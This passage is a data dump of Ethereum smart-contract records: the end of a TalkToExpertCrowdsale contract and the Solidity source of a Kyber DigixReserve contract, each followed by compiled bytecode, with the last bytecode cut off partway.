function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TalkToExpertCrowdsale is AllowanceCrowdsale, Ownable {
constructor(address _tokenWallet, uint256 _rate, address _wallet, ERC20 _token) public
AllowanceCrowdsale(_tokenWallet)
Crowdsale(_rate, _wallet, _token) {
}
function setTokenWallet(address _tokenWallet) public onlyOwner returns (bool) {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
return true;
}
function setEtherWallet(address _wallet) public onlyOwner returns (bool) {
require(_wallet != address(0));
wallet = _wallet;
return true;
}
function setRate(uint256 _rate) public onlyOwner returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
}
|
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632c4e722e146100d057806334fcf437146100fb5780634042b66f14610140578063521eb2731461016b578063715018a6146101c25780638da5cb5b146101d9578063a621344a14610230578063bf5839031461028b578063bff99c6c146102b6578063ec8ac4d81461030d578063ee1f5a7f14610343578063f2fde38b1461039e578063fc0c546a146103e1575b6100ce33610438565b005b3480156100dc57600080fd5b506100e5610506565b6040518082815260200191505060405180910390f35b34801561010757600080fd5b506101266004803603810190808035906020019092919050505061050c565b604051808215151515815260200191505060405180910390f35b34801561014c57600080fd5b50610155610589565b6040518082815260200191505060405180910390f35b34801561017757600080fd5b5061018061058f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101ce57600080fd5b506101d76105b5565b005b3480156101e557600080fd5b506101ee6106ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023c57600080fd5b50610271600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b34801561029757600080fd5b506102a06107c4565b6040518082815260200191505060405180910390f35b3480156102c257600080fd5b506102cb610918565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610341600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610438565b005b34801561034f57600080fd5b50610384600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061093e565b604051808215151515815260200191505060405180910390f35b3480156103aa57600080fd5b506103df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a22565b005b3480156103ed57600080fd5b506103f6610a8a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000803491506104488383610aaf565b61045182610aff565b905061046882600354610b1d90919063ffffffff16565b6003819055506104788382610b39565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36104ef8383610b47565b6104f7610b4b565b6105018383610bb6565b505050565b60025481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561056a57600080fd5b60008211151561057957600080fd5b8160028190555060019050919050565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561061157600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561073e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561077a57600080fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156108d857600080fd5b505af11580156108ec573d6000803e3d6000fd5b505050506040513d602081101561090257600080fd5b8101908080519060200190929190505050905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156109d857600080fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a7e57600080fd5b610a8781610bba565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610aeb57600080fd5b60008114151515610afb57600080fd5b5050565b6000610b1660025483610cb690919063ffffffff16565b9050919050565b60008183019050828110151515610b3057fe5b80905092915050565b610b438282610cee565b5050565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610bb3573d6000803e3d6000fd5b50565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610bf657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610cc95760009050610ce8565b8183029050818382811515610cda57fe5b04141515610ce457fe5b8090505b92915050565b610d5e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d62909392919063ffffffff16565b5050565b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d6020811015610e6357600080fd5b81019080805190602001909291905050501515610e7f57600080fd5b505050505600a165627a7a72305820f3e7c561cf6dbe2e9b4a02ef6f0c41c869eead3c915455b0da26ceefc2bf876e0029
|
{"success": true, "error": null, "results": {}}
| 3,944 |
0xa237737e9c206e5b031e530dc980f0c6202534f7
|
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/ConversionRatesInterface.sol
interface ConversionRatesInterface {
function recordImbalance(
ERC20 token,
int buyAmount,
uint rateUpdateBlock,
uint currentBlock
)
public;
function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint);
}
// File: contracts/KyberReserveInterface.sol
/// @title Kyber Reserve contract
interface KyberReserveInterface {
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
// File: contracts/SanityRatesInterface.sol
interface SanityRatesInterface {
function getSanityRate(ERC20 src, ERC20 dest) public view returns(uint);
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
/**
* @title Contracts that should be able to recover tokens or ethers
* @author Ilan Doron
* @dev This allows to recover any tokens or Ethers received in a contract.
* This will prevent any accidental loss of tokens.
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all ERC20 compatible tokens
* @param token ERC20 The address of the token contract
*/
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/DigixReserve.sol
interface MakerDao {
function peek() public view returns (bytes32, bool);
}
contract DigixReserve is KyberReserveInterface, Withdrawable, Utils {
ERC20 public digix;
MakerDao public makerDaoContract;
ConversionRatesInterface public conversionRatesContract;
SanityRatesInterface public sanityRatesContract;
address public kyberNetwork;
uint public maxBlockDrift = 300; //Max drift from block that price feed was received till we can't use it.
bool public tradeEnabled;
uint public buyTransferFee = 13; //Digix token has transaction fees we should compensate for our flow to work
uint public sellTransferFee = 13;
mapping(bytes32=>bool) public approvedWithdrawAddresses; // sha3(token,address)=>bool
uint public priceFeed; //all price feed data squinted to one uint256
uint constant internal POW_2_64 = 2 ** 64;
function DigixReserve(address _admin, address _kyberNetwork, ERC20 _digix) public {
require(_admin != address(0));
require(_digix != address(0));
require(_kyberNetwork != address(0));
admin = _admin;
digix = _digix;
setDecimals(digix);
kyberNetwork = _kyberNetwork;
sanityRatesContract = SanityRatesInterface(0);
conversionRatesContract = ConversionRatesInterface(0x901d);
tradeEnabled = true;
}
function () public payable {} // solhint-disable-line no-empty-blocks
/// @dev Add digix price feed. Valid for @maxBlockDrift blocks
/// @param blockNumber the block this price feed was signed.
/// @param nonce the nonce with which this block was signed.
/// @param ask1KDigix ask price dollars per Kg gold == 1000 digix
/// @param bid1KDigix bid price dollars per KG gold == 1000 digix
/// @param v - v part of signature of keccak 256 hash of (block, nonce, ask, bid)
/// @param r - r part of signature of keccak 256 hash of (block, nonce, ask, bid)
/// @param s - s part of signature of keccak 256 hash of (block, nonce, ask, bid)
function setPriceFeed(
uint blockNumber,
uint nonce,
uint ask1KDigix,
uint bid1KDigix,
uint8 v,
bytes32 r,
bytes32 s
) public
{
uint prevFeedBlock;
uint prevNonce;
uint prevAsk;
uint prevBid;
(prevFeedBlock, prevNonce, prevAsk, prevBid) = getPriceFeed();
require(nonce > prevNonce);
require(blockNumber + maxBlockDrift > block.number);
require(blockNumber <= block.number);
require(verifySignature(keccak256(blockNumber, nonce, ask1KDigix, bid1KDigix), v, r, s));
priceFeed = encodePriceFeed(blockNumber, nonce, ask1KDigix, bid1KDigix);
}
/* solhint-disable code-complexity */
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
if (!tradeEnabled) return 0;
if (makerDaoContract == MakerDao(0)) return 0;
uint feedBlock;
uint nonce;
uint ask1KDigix;
uint bid1KDigix;
blockNumber;
(feedBlock, nonce, ask1KDigix, bid1KDigix) = getPriceFeed();
if (feedBlock + maxBlockDrift <= block.number) return 0;
// wei per dollar from makerDao
bool isRateValid;
bytes32 dollarsPerEtherWei; //price in dollars of 1 Ether * 10**18
(dollarsPerEtherWei, isRateValid) = makerDaoContract.peek();
if (!isRateValid || uint(dollarsPerEtherWei) > MAX_RATE) return 0;
uint rate;
if (ETH_TOKEN_ADDRESS == src && digix == dest) {
//buy digix with ether == sell ether
if (ask1KDigix == 0) return 0;
//rate = (ether $ price / digix $ price) * precision
//rate = ((dollarsPerEtherWei / etherwei == 10**18) / (bid1KDigix / 1000)) * PRECISION
rate = 1000 * uint(dollarsPerEtherWei) / ask1KDigix;
} else if (digix == src && ETH_TOKEN_ADDRESS == dest) {
//sell digix == buy ether with digix
//rate = (digix $ price / ether $ price) * precision
//rate = ((bid1KDigix / 1000) / (dollarsPerEtherWei / etherwei == 10**18)) * PRECISION
rate = bid1KDigix * PRECISION * PRECISION / uint(dollarsPerEtherWei) / 1000;
} else {
return 0;
}
if (rate > MAX_RATE) return 0;
uint destQty = getDestQty(src, dest, srcQty, rate);
if (getBalance(dest) < destQty) return 0;
return rate;
}
/* solhint-enable code-complexity */
function getPriceFeed() public view returns(uint feedBlock, uint nonce, uint ask1KDigix, uint bid1KDigix) {
(feedBlock, nonce, ask1KDigix, bid1KDigix) = decodePriceFeed(priceFeed);
}
event TradeExecute(
address indexed origin,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress
);
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
// can skip validation if done at kyber network level
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS) {
require(msg.value == srcAmount);
require(ERC20(destToken) == digix);
} else {
require(ERC20(srcToken) == digix);
require(msg.value == 0);
}
}
uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate);
uint adjustedAmount;
// sanity check
require(destAmount > 0);
// collect src tokens
if (srcToken != ETH_TOKEN_ADDRESS) {
//due to fee network has less tokens. take amount less fee. reduce 1 to avoid rounding errors.
adjustedAmount = (srcAmount * (10000 - sellTransferFee) / 10000) - 1;
require(srcToken.transferFrom(msg.sender, this, adjustedAmount));
}
// send dest tokens
if (destToken == ETH_TOKEN_ADDRESS) {
destAddress.transfer(destAmount);
} else {
//add 1 to compensate for rounding errors.
adjustedAmount = (destAmount * 10000 / (10000 - buyTransferFee)) + 1;
require(destToken.transfer(destAddress, adjustedAmount));
}
TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress);
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event WithdrawAddressApproved(ERC20 token, address addr, bool approve);
function approveWithdrawAddress(ERC20 token, address addr, bool approve) public onlyAdmin {
approvedWithdrawAddresses[keccak256(token, addr)] = approve;
WithdrawAddressApproved(token, addr, approve);
setDecimals(token);
}
event WithdrawFunds(ERC20 token, uint amount, address destination);
function withdraw(ERC20 token, uint amount, address destination) public onlyOperator returns(bool) {
require(approvedWithdrawAddresses[keccak256(token, destination)]);
if (token == ETH_TOKEN_ADDRESS) {
destination.transfer(amount);
} else {
require(token.transfer(destination, amount));
}
WithdrawFunds(token, amount, destination);
return true;
}
function setMakerDaoContract(MakerDao daoContract) public onlyAdmin {
require(daoContract != address(0));
makerDaoContract = daoContract;
}
function setKyberNetworkAddress(address _kyberNetwork) public onlyAdmin {
require(_kyberNetwork != address(0));
kyberNetwork = _kyberNetwork;
}
function setMaxBlockDrift(uint numBlocks) public onlyAdmin {
require(numBlocks > 1);
maxBlockDrift = numBlocks;
}
function setBuyFeeBps(uint fee) public onlyAdmin {
require(fee < 10000);
buyTransferFee = fee;
}
function setSellFeeBps(uint fee) public onlyAdmin {
require(fee < 10000);
sellTransferFee = fee;
}
function getBalance(ERC20 token) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return this.balance;
else
return token.balanceOf(this);
}
function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcDstQty(srcQty, srcDecimals, dstDecimals, rate);
}
function decodePriceFeed(uint input) internal pure returns(uint blockNumber, uint nonce, uint ask, uint bid) {
blockNumber = uint(uint64(input));
nonce = uint(uint64(input / POW_2_64));
ask = uint(uint64(input / (POW_2_64 * POW_2_64)));
bid = uint(uint64(input / (POW_2_64 * POW_2_64 * POW_2_64)));
}
function encodePriceFeed(uint blockNumber, uint nonce, uint ask, uint bid) internal pure returns(uint) {
// check overflows
require(blockNumber < POW_2_64);
require(nonce < POW_2_64);
require(ask < POW_2_64);
require(bid < POW_2_64);
// do encoding
uint result = blockNumber;
result |= nonce * POW_2_64;
result |= ask * POW_2_64 * POW_2_64;
result |= bid * POW_2_64 * POW_2_64 * POW_2_64;
return result;
}
function verifySignature(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal view returns(bool) {
address signer = ecrecover(hash, v, r, s);
return operators[signer];
}
}
|
0x6060604052600436106101c85763ffffffff60e060020a60003504166299d38681146101ca57806301a12fd3146101f157806315b3789914610210578063267822471461022f57806327a099d81461025e57806327ed810d146102c457806334119d15146102da5780633ccdbb28146102f0578063408ee7fe1461031957806347e6924f146103385780634e52678e1461034b578063546dc71c1461035e57806369328dec146103885780636940030f146103b15780636cf69811146103c4578063741bef1a146103f057806375829def1461041557806377241a5f1461043457806377f50f97146104475780637acc86781461045a5780637c423f54146104795780637cd442721461048c5780638ce72064146104b75780639058c8a4146104d65780639870d7fe146104ec5780639e87a5cd1461050b578063ac8a584a14610549578063b78b842d14610568578063ba81522f1461057b578063ce56c4541461058e578063d5847d33146105b0578063d621e813146105c3578063d7b7024d146105d6578063e4b5762a146105ec578063e769dfbd14610617578063ecef615b1461062a578063f851a4401461063d578063f8b2cb4f14610650578063fa64dffa1461066f575b005b34156101d557600080fd5b6101dd61069a565b604051901515815260200160405180910390f35b34156101fc57600080fd5b6101c8600160a060020a0360043516610702565b341561021b57600080fd5b6101c8600160a060020a0360043516610872565b341561023a57600080fd5b6102426108c4565b604051600160a060020a03909116815260200160405180910390f35b341561026957600080fd5b6102716108d3565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156102b0578082015183820152602001610298565b505050509050019250505060405180910390f35b34156102cf57600080fd5b6101c860043561093b565b34156102e557600080fd5b6101c8600435610968565b34156102fb57600080fd5b6101c8600160a060020a036004358116906024359060443516610996565b341561032457600080fd5b6101c8600160a060020a0360043516610a8d565b341561034357600080fd5b610242610b89565b341561035657600080fd5b610242610b98565b341561036957600080fd5b6101c8600160a060020a03600435811690602435166044351515610ba7565b341561039357600080fd5b6101dd600160a060020a036004358116906024359060443516610c86565b34156103bc57600080fd5b6101dd610e44565b6101dd600160a060020a03600435811690602435906044358116906064351660843560a4351515610eb1565b34156103fb57600080fd5b6104036111c2565b60405190815260200160405180910390f35b341561042057600080fd5b6101c8600160a060020a03600435166111c8565b341561043f57600080fd5b610242611263565b341561045257600080fd5b6101c8611272565b341561046557600080fd5b6101c8600160a060020a036004351661130c565b341561048457600080fd5b6102716113ee565b341561049757600080fd5b610403600160a060020a0360043581169060243516604435606435611454565b34156104c257600080fd5b6101c8600160a060020a036004351661167e565b34156104e157600080fd5b6101c86004356116d0565b34156104f757600080fd5b6101c8600160a060020a03600435166116fe565b341561051657600080fd5b61051e6117ce565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b341561055457600080fd5b6101c8600160a060020a03600435166117ed565b341561057357600080fd5b610242611959565b341561058657600080fd5b610403611968565b341561059957600080fd5b6101c8600435600160a060020a036024351661196e565b34156105bb57600080fd5b610242611a01565b34156105ce57600080fd5b6101dd611a10565b34156105e157600080fd5b6101dd600435611a19565b34156105f757600080fd5b6101c860043560243560443560643560ff6084351660a43560c435611a2e565b341561062257600080fd5b610403611ad0565b341561063557600080fd5b610403611ad6565b341561064857600080fd5b610242611adc565b341561065b57600080fd5b610403600160a060020a0360043516611aeb565b341561067a57600080fd5b610403600160a060020a0360043581169060243516604435606435611b9c565b6000805433600160a060020a039081169116146106b657600080fd5b600d805460ff191660019081179091557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e73590604051901515815260200160405180910390a15060015b90565b6000805433600160a060020a0390811691161461071e57600080fd5b600160a060020a03821660009081526003602052604090205460ff16151561074557600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b60055481101561086e5781600160a060020a031660058281548110151561078a57fe5b600091825260209091200154600160a060020a03161415610866576005805460001981019081106107b757fe5b60009182526020909120015460058054600160a060020a0390921691839081106107dd57fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556005805490610819906000198301611f79565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a161086e565b600101610767565b5050565b60005433600160a060020a0390811691161461088d57600080fd5b600160a060020a03811615156108a257600080fd5b600b8054600160a060020a031916600160a060020a0392909216919091179055565b600154600160a060020a031681565b6108db611f9d565b600480548060200260200160405190810160405280929190818152602001828054801561093157602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610913575b5050505050905090565b60005433600160a060020a0390811691161461095657600080fd5b6001811161096357600080fd5b600c55565b60005433600160a060020a0390811691161461098357600080fd5b612710811061099157600080fd5b600f55565b60005433600160a060020a039081169116146109b157600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a0e57600080fd5b6102c65a03f11515610a1f57600080fd5b505050604051805190501515610a3457600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a03908116911614610aa857600080fd5b600160a060020a03811660009081526003602052604090205460ff1615610ace57600080fd5b60055460329010610ade57600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff191660019081179091556005805490918101610b5d8382611f79565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600a54600160a060020a031681565b600754600160a060020a031681565b60005433600160a060020a03908116911614610bc257600080fd5b806010600085856040516c01000000000000000000000000600160a060020a039384168102825291909216026014820152602801604051908190039020815260208101919091526040908101600020805460ff1916921515929092179091557fd5fd5351efae1f4bb760079da9f0ff9589e2c3e216337ca9d39cdff573b245c49084908490849051600160a060020a0393841681529190921660208201529015156040808301919091526060909101905180910390a1610c8183611bce565b505050565b600160a060020a03331660009081526002602052604081205460ff161515610cad57600080fd5b6010600085846040516c01000000000000000000000000600160a060020a039384168102825291909216026014820152602801604051908190039020815260208101919091526040016000205460ff161515610d0857600080fd5b600160a060020a03841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610d6357600160a060020a03821683156108fc0284604051600060405180830381858888f193505050501515610d5e57600080fd5b610de6565b83600160a060020a031663a9059cbb838560006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610dc057600080fd5b6102c65a03f11515610dd157600080fd5b505050604051805190501515610de657600080fd5b7fb67719fc33c1f17d31bf3a698690d62066b1e0bae28fcd3c56cf2c015c2863d6848484604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a15060019392505050565b600160a060020a03331660009081526003602052604081205460ff161515610e6b57600080fd5b600d805460ff191690557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356000604051901515815260200160405180910390a150600190565b600d546000908190819060ff161515610ec957600080fd5b600b5433600160a060020a03908116911614610ee457600080fd5b8315610f6c5760008511610ef757600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610f4757348814610f2857600080fd5b600754600160a060020a03888116911614610f4257600080fd5b610f6c565b600754600160a060020a038a8116911614610f6157600080fd5b3415610f6c57600080fd5b610f7889888a88611b9c565b915060008211610f8757600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1461104d57600f546001906127109081038a020403905088600160a060020a03166323b872dd33308460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561102757600080fd5b6102